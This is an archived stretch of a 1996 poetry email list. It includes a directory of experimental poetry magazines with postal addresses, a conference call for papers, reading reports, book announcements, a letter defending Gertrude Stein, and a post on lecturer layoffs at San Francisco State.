TEXTURE, Susan Smith Nash, 3760 Cedar Ridge Drive, Norman OK 73072
THAT, Tom Beckett, 1070 Easton Valley Rd, Easton NH 03580
THIS IS IMPORTANT, F.A. Nettelbeck, Box 336 Sprague River OR 97639
TIGHT, Ann Erickson, Box 1591, Guerneville CA 95446
TINFISH, Susan Schultz, 1422A Dominis St, Honolulu HI 96822
TO, Seth Frechie & Andrew Mossin, Box 121, Narberth PA 19072
TORQUE, Liz Fodaski, 21 East 2nd St #12, N.Y. NY 10013
TRANSMOG, Ficus Strangulensis, Route 6 Box 138, Charleston WV 25311
UBU WEB VISUAL & CONCRETE POETRY, Kenneth Goldsmith, http:///www.ubweb.com/vp
UMBRELLA, Judith Hoffberg, Box 3640, Santa Monica CA 90408
THE VISION PROJECT, Thomas Taylor, [redacted]
VOLT, Gillian Conoley, Box 657, Corte Madera CA 94967
THE WASHINGTON REVIEW, Joe Ross, Box 50132, Washington D.C. 20091
WAY, 131 N. Pearl St, Kent OH 44240
WHATEVER, Stephen T. Mounkhall, 14 E 236th St, Bronx NY 10470
WITZ, Christopher Reiner, Box 40012, Studio City CA 91614

WOODEN HEAD REVIEW, 240 Thompson Ave, East Liverpool OH 43920
W'ORCS/ALOUD ALLOWED, Ralph LaCharity, Box 27309, Cincinnati OH 45227
THE WORLD, Poetry Project at St Mark's, 10th St & 2nd Ave, NY NY 10003
XIB, Tolek, Box 262112, San Diego CA 92126
YEFIEF, Ann Racuya-Robbins, Box 8505, Santa Fe NM 87504
ZYX, Arnold Skemer, 58-09 205th St, Bayside NY 11364

CANADIAN MAGAZINES (eh, yeah!)

BOO, 1895 Commercial Dr, Box 116, Vancouver, B.C. V5N 4A6 BRITISH COLUMBIA MONTHLY, Gerry Gilbert, Box 48884, Station Bent., Vancouver, B. C. V7X 1A8 CABARET VERT, Beth Learn, Box 157 Station P, Toronto Ontario M5S 2S7 CAPILANO REVIEW, 2055 Purcell Way, North Vancouver, B.C. V7J 3H5 COLLECTIF REPARATION DE POESIE, Jean-Claude Gagnon, 359 rue Lavigueur # 1, Quebec, Quebec G1R 1B3 CRASH, Maggie Helwig, Box 562, Station P, Toronto Ontario M5S 2T1 DADABABY, 382 East 4th St, North Vancouver, B.C. V7L 1L2 FILLING STATION, Box 22135 Bankers Hall, Calgary AB T2P 4J5 HOLE, Louis Cabri, 301, 1333 17th Ave N.W., Calgary AB T2M 0R2 INDEX MAGAZINE, 4068 St Laurent, Box 42082, Montreal, Quebec H2W 2T3 INDUSTRIAL SABOTAGE, J.W. Curry, 1357 Landsdowne Rd, Toronto, Ontario M6H 3Z9 OPEN LETTER, 499 Dufferin Ave, London, Ontario N6B 2A1 OVERSION, John Barlow, 1069 Bathurst St (3rd Floor) Toronto Ontario M5R 3G8 PUSH MACHINERY, Daniel Bradley, 30 Gloucester St #1005, Toronto, Ontario M4Y 1L6 RADDLE MOON, GIANTESS, Susan Clark, 2239 Stephens St, Vancouver B.C. V6K 3W5 RAMPIKE, Karl Jirgens, 95 Rivercrest Rd./ Warehouse, Toronto Ontario M6S 4H7 STAINED PAPER ARCHIVE, 1792 Byng Road, Windsor, Ontario N8W 3C8 TADS, Dept of English, Simon Fraser Univ, Burnaby B.C. V5A 1S6 TORQUE, Darren Werschler-Henry, Box 657 Station P, Toronto, Ontario M5S 2Y4 WEST COAST LINE, English Dept, Simon Fraser Univ, Burnaby B.C. V5A 1S6 MONDO HUNKAMOOGA, Stuart Ross, Box 141, Station F, Toronto, Ontario M4Y 2L4

U.K. MAGAZINES

AND, Bob Cobbing, 89A Petherton Rd, London N5 2QT ANGEL EXHAUST, Andrew Duncan, 27 Sturton St, Cambridge CB1 2QG CURIOS THING, 71 Lambeth Walk, London SE11 6DX EONTA, 27 Alexandra Rd, Wimbledon, London SW19 7IJ FIRST OFFENSE, Tim Fletcher, Syringa, The Street, Stodmarsh, Canterbury, Kent CT3 4BA FRAGMENTE, Anthony Mellors, 3 Town Green Rd, Orwell, Cambridge INTIMACY, Adam McKeown, 4 Bower St, Maidstone, Kent ME16 8SD OASIS, Ian Robinson, 12 Stevenage Rd., London SW6 6ES OBJECT PERMANENCE, Peter Manson & Robert Purves, Flat 3/2 16 Ancroft St, Glasgow Scotland 7HU G20 PAGES, Robert Sheppard, Edge Hill University College, Ormskirk, Lancashire L39 4QP PARATAXIS, Drew Milne, School of English

Studies, Arts Building, Univ of Sussex, Falmer, Brighton BN1 9NQ RADICAL POETICS, 58 Crowshott Ave, Stanmore, Middlesex, HA7 1HT RAMRAID EXTRAORDINAIRE, Chris Brooke, 57 Canton Court, Canton, Cardiff RWC, Lawrence Upton, 32 Downside Rd, Sutton, Surrey SM2 5HP SHEARSMAN, Tony Frazer, c/o Hong Kong & Shanghai Bank, Macau Mgt Office, Box 476, Macau STRIDE, Rupert Loydell, 11 Sylvan Rd, Exeter, Devon EX4 6EX TALUS, Dept of English, King's College, Strand, London WC2R 2LS TERRIBLE WORK, Tim Allen, 21 Overton Gardens, Mannamead, Plymouth PL3 5BX TONGUE TO BOOT, Miles Champion, 5 Abbots Court, Thackeray St, London W8 5ES VERTICAL IMAGES, 62 Langdon Park Rd, London N6 5QG WORDS WORTH, Alaric Sumner, BM Box 4515, London WC1N 3XX

CONTINENTAL EUROPE, AND ELSEWHERE

ACTION POETIQUE, Henri Deluy, 3 rue Pierre-Guignois, 94200 Ivry-sur-Seine, France AMAE, Apdo 47, 28921 Alcoron (Madrid) Spain ARNYEKYOTOK, Szasz Janos, Timdr u 17 fsz 3, H- Budapest III, Hungary ART POSTALE, Vittore Baroni, Via C Battista 339, 55049 Viareggio, Italy AU/ART UNIDENTIFIED, 1-1-10-301 Koshienguchi, Nishinomiya, Hyogo, 663 Japan AXLE, Tony Figallo, Pete Spence, Box 4180 Richmond East, Victoria, Australia BACK TO FRONT, John Geraets, Liberal Arts, Aichi-Gakuin Univ, 12 Iwasaki, Araike, Nisshin-shi, Aichi-ken, 470-01, Japan BANANA SPLIT, Peter Bangsvej 74, 2000 Frederiksberg, Denmark A BRIEF DESCRIPTION OF THE WHOLE WORLD, Alan Loney, 33A Komaru St, Remuera, Auckland, 1005, New Zealand BRIO CELL, LINGUA BLANCA, GLOSSOLALIA, J. Lehmus, Stenbocksv. 24, 02860 Esbo, Finland, [redacted] CARPETAS EL PARAISO, Jose Luis Campal, Apt N. 6, 33980 Pola de Lavinia, Asturias, Spain CELACANTO, Marcelo Casarin, Quisquisacate 125, 5008 Cordoba, Argentina COMUNICARTE, Hugo Pontes, Caixa Postal 922, 37701-970 Pocos de Caldas, Brazil D'UN MOM ENCA, EL TRAPAS & IMAT, Apdo 9142, 08080 Barcelona, Spain DAS FROLICHE WOHNZIMMER, Fritz Widhalm, Fuhrmanngasse 1A/7, 1080 Wien Austria DIMENSAO, Guido Brilharinho, Caixa Postal 140, Uberaba 38001, Brazil DOC(K)S, Phillipe Castellin, 20 Rue Bonaparte, Ajaccio, France 2000 EX-SYMPOSIUM, 8200 Veszprem, Anyos u. 1-3 Hungary FULL, Ramon Salvo, Apdo 20033, 08080 Barcelona Spain GARATUJA, C. Postal 41, Bento Goncalves/RS 95700 Brazil, GOING DOWN SWINGING, Box 64, Coburg, Victoria 3058, Australia GRAFFITI, Horacio Versi, Colonia 815, of. 105, Montevideo, Uruguay IF, Jean-Jacques Viton, 12 Place Castellane, 13006 Marseille, France IMPRESSUM, Bruno Runzheimer, Nahestr. 8, 45219 Essen, Germany INIA KELMA, Nueva, 4, 41770 Montellano Spain INTERARTE, Douglas Zunino, Odebrecht 97, 89021 Blumenau, SC, Brazil KARTA, Bartek Nowak, Spoldzielcza 3/39, 42-300 Myszkow, Poland KERAUNIA, Sergio Fumich, via P. Togliatti, 3-20070 Brembio-Mi, Italy JALOUSE PRATIQUE, 80 rue Henon, 69004 Lyon, France LEOPOLD BLOOM, Vaci M. u. 52. II. 9.,

Szombathely, 9700 Hungary MACULA, Apdo 34101, 08080, Barcelona Spain MAGYAR MUHELY, Minerva u 3/a, H-1118 Budapest, Hungary MANDORLA, Roberto Tejada, Apartado postal 5-366, Mexico D.F., Mexico 06500, MANI ART, THE SECRET LIFE OF MARCEL DUCHAMP, Pascal Lenoir, 11 Ruelle De Champagne, 60680 Grandfresnoy, France MINIATURE OBSCURE, Gerhild Ebel, Cornelia Ahnert, Landrain 143, 06118 Halle/Saale, Germany MITO, via G. Bruno 37, 80035 Nola, Italy NIOQUES, Jean-Marie Gleize, 4 rue de Cromer, 26400 Crest, France NON (+) ULTRA, Matthias Schamp, Grosse-Weischede-Strasse 1, 44803 Bochum, Germany OASII, Stephen Ellis, 45/6 Bar Ilan St, Ranana 43701 Israel OFFERTA SPECIALE, Carla Bertola, Corso De Nicola 20, 10128 Torino, Italy OLHO LATINO, Paulo Cheida Sans, Rua Padre Bernardo da Silva 856, 13030 Campinas, SP, Brazil OTIS RUSH, Box 21, North Adelaide, 5006 South Australia PELE MELE, Guy Bleus, Box 43, 3830 Wellen, Belgium PINTALO DE VERDE, Antonio Gomez, APDO 186, 06800 Merida, Badajoz, Spain PIPS DADA CORPORATION, Claudia Putz, Prinz-Albert Str. 31, 53115 Bonn, Germany PLURAL, Paseo de la Reforma 18.1 piso, Deleg. Cuauhtemoc, DF 06600, Mexico P.O.BOX (Merz Mail), Pere Sousa, apdo 9326, 08080 Barcelona Spain POESIE, Micel Deguy, 8 rue Ferou, 75278 Paris Cedex 06, France POESIE EUROPE, Postfach 180429, D-60085, Frankfurt/Main, Germany POEZINE, Avelino De Araujo, Rua Serido 486, apt 1106, CEP 59020 Natal RN, Brazil POSTYPOGRAPHIKA, http://www.postypographika.com PUNHO MAGAZINE, MULTIPAIS, Paulo Bruscky, CP 850 Recife-PE, 50010-000, Brazil PRAKALPANA LITERATURE, KOBISENA, P-40 Nandana Park, Calcutta 700034, West Bengal, India REVUE PRETEXTE, 11 rue Villedo, 75001 Paris, France SCARP, Ron Pretty, Univ of Wollongong, Box 1144, Wollongong, NSW 2500, Australia SHISHI, Shoji Yoshizawa, 166 Suginami-ku koenjikita, 3-31-5 Tokyo, Japan SIGN'ZINE, Industrias Mikuerpo, Apdo 36.455, 28080 Madrid, Spain 69 ANALGESIC, Cesar Figueiredo, Apdo 4134, 4002 Porto Codex, Portugal SIVULLINEN, Jouni Vaarakangas, Kaarelantie 86 B 28, 00420 Helsinki, Finland SPINNE, Dirk Frohlich, Priessnitzstrasse 19, 01099 Dresden, Germany SPORT, Box 11-806, Wellington, New Zealand TERAZ MOWIE, Hartmut Andryczuk, Belziger Str. 29, 10823 Berlin, Germany TRANSFUSION, Alessandro Ceccotto, C.P. 116, 45011 Adria (RO) Italy VISUAL POETRY S.O.S., Alfredo Slang, via Ferro De Cavallo, 10, 31100 Treviso, Italy VOLL-ZINE, Rainer Golchert, Soderstrabe 29, 64283 Darmstadt, Germany YE, FALTBLATT, Theo Breuer, Neustrasse 2, 53925 Sistig/Eifel, Germany XUL, Jorge Perednik, Plaza 1629, (1430) Buenos Aires, Argentina ZAZIE, Box 521 Market St, Melbourne, Victoria, 8007 Australia ZOOM-ZOUM, Josee Lapeyrere, 4 rue des Carmes, 75005 Paris, France

The preceding list is based on the research and judgments of Spencer Selby. The term "experimental" is not meant as a characterization of anyone's specific

editorial focus or perspective. Please circulate, and mail possible additions, deletions, address changes or other comments to Spencer Selby, P.O. Box 590095, San Francisco CA 94159, U.S.A. email: [redacted] fax: [redacted] This is list #36, dated 10/96

↑ Index

446. **maria damon**
Re: u.s. places
Mon 25 Nov 1996

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oops, didn't mean to include all the extraneous stuff in the msg w/ edmond chow's list.--md

↑ Index

447. **John Geraets**
action poems in japan
Mon 25 Nov 1996

Relayed another one sometime back, but this time my Japanese creative writing students did a somewhat different action poem. They entered the room wearing opaque raincoats, opened brightly-coloured umbrellas above their head, floral & geometric patterns, one plain. They'd taped a crackly old version of 'Singing in the Rain' off a video and this was playing on the tape recorder on the table. They circle the room, weaving in and out of other students, desks etc, not saying anything but kind of skipping & running. End of the 3rd circuit, they stop at the front. First one: I hate rain, throws the bright umbrella to the ground, Second: I hate rain too, umbrella on ground, Third: I hate rain three, and throw. Next a cassette flies across the room: First explains later to me that she'd retrieved it and threw it down because their piece hated rain and it contradicted that.

↑ Index

448. **Kathleen Crown**
UPDATE: Rutgers Poetry Conference
Mon 25 Nov 1996

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Encoding: 503 TEXT

Hello Everyone:

The December 1st deadline for proposals for "Poetry and the Public Sphere" (April 24-27) is fast approaching. Here is an updated call (below).

Among those newly scheduled to participate are Amiri Baraka, Tracie Morris, Willie Perdomo, Carl Hancock Rux, keith roach, Aileen Reyes, and Meena Alexander.

Please get those proposals to us the first week of December; we will respond as soon as we can. Email inquiries to [redacted]. --Kathy Crown

CALL FOR PAPERS

Please post hardcopies in addition to posting and forwarding electronically to interested parties.

The Department of English at Rutgers University, New Brunswick announces POETRY AND THE PUBLIC SPHERE: A CONFERENCE ON CONTEMPORARY POETRY, APRIL 24-27, 1997

Scheduled to participate: SONIA SANCHEZ, ADRIENNE RICH, ROBERT HASS, AMIRI BARAKA, MIGUEL ALGARIN, POETS FROM THE NUYORICAN POETS' CAFE: TRACIE MORRIS, WILLIE PERDOMO, CARL HANCOCK RUX, AILEEN REYES, and keith roach, MEENA ALEXANDER, CHARLES BERNSTEIN, TRICIA ROSE, CHARLES ALTIERI, MARIA DAMON, ALICIA OSTRIKER, CHERYL CLARKE, CORA KAPLAN, RACHEL HADAS, MICHAEL MCKEON, MICHAEL TAUSSIG, ELIN DIAMOND, ABENA BUSIA, SUSAN STANFORD FRIEDMAN, RACHEL BLAU DUPLESSIS, BOB PERELMAN, AMITTAI AVIRAM, ALAN GOLDING, LYNN KELLER, MICHAEL BIBBY and many others.

This interdisciplinary conference is open to the public and aims to provide new understandings of poetry's participation in the public sphere. The last two decades have witnessed a resurgence of interest in public poetry--readings, festivals, performances, films, television series, and poetry slams. In examining the way poetry affects and is affected by social context, we will consider a range of contemporary poetries in their public settings, including performance-oriented, community-based, socially engaged, and formally experimental work. Questions of audience and aesthetics will be central to our discussion of poetry's active role in building, defining, questioning, and motivating social and political communities. Designed to bring a broad range of people from inside and outside the academy into conversation, the conference will feature round-table discussions, poetry readings and performances, keynote lectures, and panel presentations by a wide range of poets, scholars, and activists.

We welcome submissions from anyone with an interest in poetry. We are currently accepting:

1. Detailed two-page proposals for 15-minute papers, not limited to the topics listed here. (Feel free to suggest panel topics; however, we are not accepting group panel proposals.)

2. Detailed proposals for roundtable discussions (no more than four people), to consist of five-minute remarks and a moderated discussion. You may provide participant names and brief profiles of chair and three to four panelists, plus a two-page proposal describing the topic, approach, and intended contribution of each discussant. You may propose an entire roundtable or may outline your contribution and suggest roundtables for which it might be relevant.

Here are some possible topics for discussion:

poetry and social movements poetics of performance poetry
politics of form poetry and public sphere theory
poetry as witness poetry and community activism
African American poetry poetry slams
poetry and popular culture global poetry
Latino/a poetry poetry and identity politics
poetry and/as history ethnography of poetry
Native American poetry gay/ lesbian poetry
spoken-word events feminist poetry
poetry and AIDS rap-meets-poetry
politics of publishing Asian American poetry
contemporary poetry cultures

SEND PROPOSALS BY DECEMBER 1 (previous deadline has been extended) TO HARRIET DAVIDSON, ASSOCIATE PROFESSOR ENGLISH AND DIRECTOR OF WOMEN'S STUDIES, P.O. Box 5054, RUTGERS UNIVERSITY, NEW BRUNSWICK, NJ 08903-5054. More information is available at our website (http://english.rutgers.edu/poetry.html); information about a pre-conference discussion forum online will also be available at that address. Email inquiries to Kathy Crown ([redacted]) or Nick Yasinski ([redacted]). No proposals via email. Thank you.

ACCEPTANCE NOTIFICATION

If a paper or panel discussion is accepted for presentation at the conference, the person submitting will be notified in February or earlier.

MAILING LIST

If you would like to be on our mailing list, please send an email message to Kathy Crown ([redacted]) or Nick Yasinski ([redacted]), or write Harriet Davidson at the address above. Indicate whether you have a place to put a conference poster or need only a registration form (saving us a little money). Registration forms will be sent by snail mail early next year, so please include your snail address as well as your email address.

LOCATION

The conference will take place on the campus of Rutgers University in New Brunswick, NJ, which is an easy 50-minute train or car ride from New York City (1 1/2 hr from Philadelphia by car, 2 hr by local trains; 25-min by car from Newark Int'l Airport; 30-min by train or car from Princeton).

SCHEDULE OF EVENTS (to be confirmed in early 1997)

The conference will begin mid-afternoon on Thursday, April 24 with some of its most exciting and importance featured events, including panels and roundtables with important poets and scholars, as well as an evening reading by nationally known poets from the Nuyorican Poets Cafe, organized by Miguel Algarin (names available soon, upon final agreement). We strongly encourage people to come for the Thursday afternoon and evening events. Friday and Saturday, April 25 & 26, will include a variety of panels, roundtables, mid-day readings, and evening readings by Adrienne Rich (and others) on Friday and Robert Hass and probably Sonia Sanchez (and others) on Saturday. The conference will conclude on Sunday, April 27, with panels and a featured roundtable and discussion summing up the conference, ending by early afternoon.

REGISTRATION

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<[redacted]>

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[Transferred from mail from Mail Delivery Subsystem
<[redacted]>: text/plain] :

The original message was received at Mon, 4 Nov 1996 15:29:04 -0500 from
[redacted]

----- The following addresses had delivery problems -----
[redacted] (unrecoverable error)

----- Transcript of session follows -----
550 [redacted]... Host unknown (Name server: lsc.sjsu.edu: host not found)

----- Original message follows -----

[Transferred from mail from Mail Delivery Subsystem
<[redacted]>: message/rfc822] :

(8.6.12+bestmx+oldruq+newsunq/8.6.12) id PAA01916; Mon, 4 Nov 1996 15:29:04
-0500
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Date: Mon, 4 Nov 1996 15:29:03 -0500
To: [redacted]
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Content-Description: Transferred from mail from "Kathleen Crown" <[redacted]>:
text/plain

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Encoding: 10 text
Content-Description: Transferred from mail from "Kathleen Crown" <[redacted]>: Transferred from mail from Mail Delivery Subsystem <[redacted]>: text/plain

The original message was received at Mon, 4 Nov 1996 15:29:04 -0500 from [redacted]

----- The following addresses had delivery problems -----
[redacted] (unrecoverable error)

----- Transcript of session follows -----
550 [redacted]... Host unknown (Name server: lsc.sjsu.edu: host not found)

----- Original message follows -----

Encoding: 236 X-Zm-text
Content-Description: Transferred from mail from "Kathleen Crown" <[redacted]>: Transferred from mail from Mail Delivery Subsystem <[redacted]>: message/rfc822

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↑ Index

449. **Charles Alexander**

Re: oh give me a home

Mon 25 Nov 1996

Basically I agree with Patrick Pritchett, however with regard to the following,

> *Clearly, some poets feel compelled to confront "landscape", with all that entails - psychologically, politically, culturally, biologically, historically, etc. - in their work; but just as clearly, some poets would write the same kind of poetry regardless of where they lived.*

I can't imagine place not having some effect on a writer, however indirect or subtle that effect may be. And I think "landscape" must be considered in all its aspects, including geographical, climatological, social, cultural, intellectual, etc. -- to understand it. And some of these aspects are of course dependent on the individual effected by it, and few of them are without overlap. It all gets very sticky.

charles

---------- get off my back. the future fields into which I write are unimaginable. I do not know, any more than you do, what is around me, nor how far to go, nor precisely what I leave behind.

--Beverly Dahlen
from A Reading 8 - 10
published by Chax Press

↑ Index

450. Charles Alexander
Re: here here (there there)
Mon 25 Nov 1996

At 12:08 AM 11/23/96 -0700, you wrote:
>I'll second Charles A on Mei-mei as a western poet. Whenever I read or hear
>one of her poems I think I'm in New Mexico; whenever I drive in New Mexico
I
>think I'm reading one of Mei-mei's poems. which are almost entirely
>abstract (so it's no mean feets) : it's something about how the planes of
>words are like the planes of mountains (plains of sky?) over in NM (I never
>think of Mei-mei when I drive in AZ).
>
>(and then there's /Tan-Tien/, which Charles published. a whole NOTHER
story.)
>
>Tenney

Mei-mei has spoken, in at least one talk I've heard, about the sense of horizon where she lives, and a rather direct correlation between that and the sense of space created in her poems, in part because of her line, but in other ways as well. Does anyone know if she's published any essays or writings which touch on this, other than the poems themselves?

charles

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451. Steve Carll
Summary Canessa Park Reading 11-24-96
Mon 25 Nov 1996

It was a sunny Sunday in San Francisco (could be our last one of those for a while), so Avery Burns waited a full half hour after our scheduled starting time before introducing recent San Francisco arrival Pamela Lu.

Pam read about 11 pages from her novel in progress, which doesn't seem to have a name yet and is also a meditation on contemporary culture. To preface, she read from a book called _Thirdspace_ a "definition" of Orange County from one of its own tourist brochures. Passages from Pamela's reading included:

"'Me' was a different matter altogether." "Who were we, anyway, and what were we doing without 'the rest of us'?" "She moved like a body of possibility through the realm of the actual." "The suburb was designed to bring about the death of mystery." "We never wanted to leave our suffering for fear of losing awareness." "We lived in a realm where the world was just barely possible, and yet it was the only possibility."

There was a short break to give the audience (which included the jet-setting Katie Lederer, Kevin Killian, Dorian Harding-Morick, Mary Burger, Spencer Selby, Renee Gladman, Colleen Lookingbill and Eric Selland) time to grab more cookies and tea, and then Charles Cantalupo read.

Charles' performance was incantatory, involving the use of strong vocal cadences and hand gestures (though I later overheard him say he'd "toned it down", feeling that this audience was "more finely tuned"). Both this style of reading and the subject matter of Charles' poems are influenced by his study of Africa (Charles is in town from Bethlehem PA to give a talk on Kenyan writer Ngugi at the African Studies Association Conference). He read from his works _Eritrea_ and _Columba the Dove_. Some lines I caught were:

"erasure so blankly off the tree of children"
"mixing up the gold and wax meaning"
"fucking leaves, fucking like leaves"
"to say yessss like a tree"
those ribs dug deep to begin this narrative"
"chewing handkerchiefs, eyes crying out of their sockets--ours"
"the mountains wrap themselves around their echoes"
"light the lights, light the lights, light the lights"

The next Canessa Park reading will be Sunday December 8 at 3 PM and will feature David Bromige reading new work and Merdith Quartermain visiting from Vancouver. Canessa Park is located at 708 Montgomery St. at Columbus in San Francisco. Admission is $5.

****

[redacted] Steve Carll
http://writing.upenn.edu/epc/mags/antenym
http://writing.upenn.edu/epc/ezines/antenym

In seed-
sense
the sea stars you out, innermost, forever.

--Paul Celan
****

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452. **Charles Alexander**
Re: u.s. places
Mon 25 Nov 1996

> *jonathon brannen's beautifully produced*
> *STEPPING STONES chapbooks*

Standing Stones, that is
and yes, a very fine series of books

charles

---------- get off my back. the future fields into which I write are unimaginable. I do not know, any more than you do, what is around me, nor how far to go, nor precisely what I leave behind.

--Beverly Dahlen
from A Reading 8 - 10
published by Chax Press

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453. **aerialedge**
New from Edge Books: On Your Knees, Citizen
Mon 25 Nov 1996

Now available:

_On Your Knees, Citizen:
a collection of "prayers" for the "public" [schools]_

edited by Rod Smith, Lee Ann Brown, & Mark Wallace.

contributors: Beth Anderson, Kathleen Baldwin, Sandy Baldwin, Michael Basinski, Lee Ann Brown, John Byrum, Tina Darragh, Daniel Davidson, Kevin Davies, Tim Davis, Connie Deanovich, Danika Dinsmore, Jean Donnelly, Buck Downs, Heather Fuller, Chris Funkhouser, Forrest Gander, Belle Gironda, Michael Gizzi, Peter Gizzi, Judith Goldman, Jefferson Hansen, Nigel Hinshelwood, Mary Hilton, Stephen Ielpi, Jen Hofer, Kevin Killian, Wayne Kline, Andrew Levy, Doug

Lang, Sheila E. Murphy, Susan Smith Nash, Larry Price, Joe Ross, Jerome Sala, Lisa Samuels, Leslie Scalapino, Spencer Selby, Daniel Shapiro, David Shapiro, Alexandra Smith, Rod Smith, Juliana Spahr, Chris Stroffolino, Vanessa Villareal, Anne Waldman, & Mark Wallace.

This lovely collection appears just in time for the holiday season. A perfect stocking stuffer!

just $6 postpaid.

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Aerial/Edge
POBox 25642
Washington, DC
20007

other fine Aerial/Edge products:
Aerial 8: Barret Watten, $16.95 (becoming rare).
Aerial 6/7 featuring John Cage, $15.
Aerial 5 includes Hejinian/Harryman collaboration/interview, Darragh interviewed by Retallack, etc., $7.50.

Errata 5uite by Joan Retallack, $8.
Asbestos by Wayne Kline, $6.
Dogs by Phyllis Rosenzweig, $5.
Late July by Gretchen Johnsen, $3.
the julia set by Jean Donnelly, $4.
Cusps by Chris Stroffolino, $2.50.
World Prefix by Harrison Fisher, $4.

All prices postpaid. Any order of more than $10 receives one of our chapbooks free!

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454. Jeremy F Green
Re: West
Mon 25 Nov 1996

Or, on the other hand, there is Jay Gatsby's take on geography, when he tells Nick Carraway that his family comes from the midwest, which turns out to mean, for him, San Fransisco.

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455. aerialedge
Re: math/ what you get for absolutes
Mon 25 Nov 1996

I must say that it seems the equation 7 over 0 times the moist reminder of density's phonic apparition equals 42 seems to me less than adequate. Perhaps Wittgenstein's question "Is this foot _my_ foot?" can only be answered under certain circumstances. Nietzsche's "Number as perspective form" also seems still to reside in the question of belief. Still, we do know we aren't corndogs & must trust in the availability of communion in such knowledge.

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456. Charles Alexander
heroines & such
Mon 25 Nov 1996

Poetics List:

Here is a copy of an email letter I just sent to the NYTimes Magazine, which among its entries in a special issue on "Heroine Worship" yesterday, published what I thought was a really awful bit on Gertrude Stein, written by Cynthia Ozick. Perhaps silly to spend too much time on what the Times publishes, but it just made me angry.

charles alexander

>Date: Sun, 24 Nov 1996 05:12:24
>To: [redacted]
>From: Charles Alexander <[redacted]>
>Subject: heroines & such
>
>While there was some debunking of heroines, and in general a mix of loved icons & simply celebrities to be talked about, none of the featured subjects of your special issue on "Heroine Worship" (Nov. 24, 1996) seemed quite so dismissed by your authors as was Gertrude Stein by Cynthia Ozick. Ozick writes that no one now reads Stein, despite the recent appearance of a selected Stein (A STEIN READER, ed. by Ulla E. Dydo, Northwestern University Press, 1993). She puts Stein down as a "copycat Cubist" despite ample evidence that Stein is at least as much an innovator as any other artist tagged with the Cubist label; and Ozick writes that the "silly" (although she admits it's enchanting) "A rose is a rose is a rose. ..." is "almost all that is left of Gertrude Stein." This despite an ongoing celebration of Stein among writers, artists, and feminists, a growth in scholarship on Stein, and the sense among many of today's most innovative writers, such as

Leslie Scalapino, that Stein's writing "is very much at the basis of current writing" (Scalapino, interviewed by Ed Foster, in TALISMAN No. 8).
>
>In Stein we see writing revealed as a process, indeed *as writing,* as much as a window onto something else, although with a great deal of insight into the workings of the mind, as well as a unique and intricate accounting of details in the world about her. In her development of abundant and delightful possibilities for writing, I would imagine that Stein will continue to be a germinal writer for many, for decades to come. Whether Cynthia Ozick has some private (or public) axe to grind, or whether she is deeply stupid, I can not say. But her comments are dangerous, as they would keep other readers stupid as to the delights and relevances of Gertrude Stein today.
>
>Charles Alexander
>101 W. Sixth St., no. 6
>Tucson, AZ 85701
>[redacted] (daytime phone)
>
>

---------- get off my back. the future fields into which I write are unimaginable. I do not know, any more than you do, what is around me, nor how far to go, nor precisely what I leave behind.

--Beverly Dahlen
from A Reading 8 - 10
published by Chax Press

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457. **Brian Strang**
Re: POETICS Digest - 22 Nov 1996 to 23 Nov 1996
Mon 25 Nov 1996

Cutbacks at San Francisco State University

In a small step in the continuing restriction of access, reduc- tion of public support, and a general backing away from public responsibility for quality public education in California, the English Department at San Francisco State University (a Califor- nia State University campus) in November announced the mid-year layoff of 14 lecturers. These non-tenure line teachers have taught composition and ESL courses as part of a pool of experi- enced instructors, as well as conducted research, produced written work, given presentations, and designed

curricula. They teach "service" courses essential to the development of critical literacy skills in a university with one of the most ethnically diverse campuses in the United States. Without the protection of tenure or multi-year contracts, the entire group of instructors at SFSU is subject to the whim of administrative decision. A new "auditing procedure," implemented by the CSU's administration, will, in theory, reduce the number of junior-level transfer students from California two-year colleges, thereby theoretically reducing the number of those students required to take first and second year composition courses. This is one rationale for the layoffs. It ignores the fact that literally hundreds of students, every semester, pack classrooms and line hallways, struggling to add the required composition, ESL, and basic writing courses. Many of our students take seven years or more to complete baccalaureate degrees, and access to required courses is one of the reasons. A constant tension simmers between the rights and needs of tenure line faculty and lecturers, whose rights and needs often compete. Both are represented by the same union, though they work under dramatically different circumstances. The work of composi- tion lecturers, which is highly labor intensive with each class demanding the thoughtful reading and grading of on the order of 175 essays (times 3 to 5 sections), revisions, and journals, along with extensive use of conferences and other duties, is not generally coveted, to put it mildly, by tenure line teachers, although it is work that is highly valued by their students. To some, the cost of providing such education would be better spent on "program" courses, upper division and graduate classes in literature and other "substantive" canonical endeavors. Composi- tion classes at SFSU are generally courses in critical literacy which, through often painfully achieved effort on the part of both students and teachers, strive to ensure a level of critical consciousness and literate ability demanded for full access to the complex social and political contexts the students will live, work, and create within. Lecturers at SFSU do not work at the fringes of students' intellectual development, but often provide essential experiences in cognitive development for their stu- dents. They are nonetheless seen as disposable, and with the ending of affirmative action in the state, the rise in tuition levels, the decreased numbers of courses, and more subtle restrictions of access, the good work that they have for many years accomplished becomes more and more endangered. The fourteen faculty members laid off in the current crisis will face the prospect of finding teaching posts in the middle of the academic year, part-time community college jobs or other, even more tenuous positions in other far-flung places, when they thought they had firm academic year commitments from their university. Many of them may not find them, but instead be forced to abandon the art to which they have dedicated their lives, their educations, and their utmost commitment. Working outside of education, these intelligent and talented people will undoubtedly fare well--no doubt better

economically--but at great cost to the students they would have touched, often profoundly, in the future.

Messages of support and concern can be sent to:

Melanie Wise ([redacted])
Michael Martin ([redacted])
CC to California Faculty Association ([redacted])

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458. Charles Bernstein
Ripple Effects (announcement)
Mon 25 Nov 1996

Ripple Effects: Painting and Language

a special issue of New Observations, edited by Susan Bee and Mira Schor

#113, $6

available at bookstores or from New Observations
611 Broadway #701
New York, NY 10012

Table of Contents:

Julia Jacquette
Kay Rosen
A Ladder Out by Pamela Wye
Beesides by Susan Bee
Describable Beauty by David Humphrey
How I Never Got to Meet Abbie Hoffman by Kenneth Goldsmith
Wounded Paintings/ Painted Wounds by Faith Wilding
Word Works by Lucio Pozzi
September 21, 1989 and Poem by Richard Tuttle
Tom Knechtel

INTRODUCTION

This issue of New Observations: "Ripple Effects" examines the relationship of painters with language and other primarily linguistic source materials. Painting was traditionally an art form privileged for its purely visual qualities, although for much of its history it found its themes in linguistic sources such as biblical narrative, mythology, allegory, and history. In fact, painting and language exist in a field of interactive ripple effects that productively enrich rather than disrupt the surface of contemporary painting. Today many painters rely on linguistically based sources for their work, increasingly bringing images of these sources and of language into their paintings; also, some painters write about art

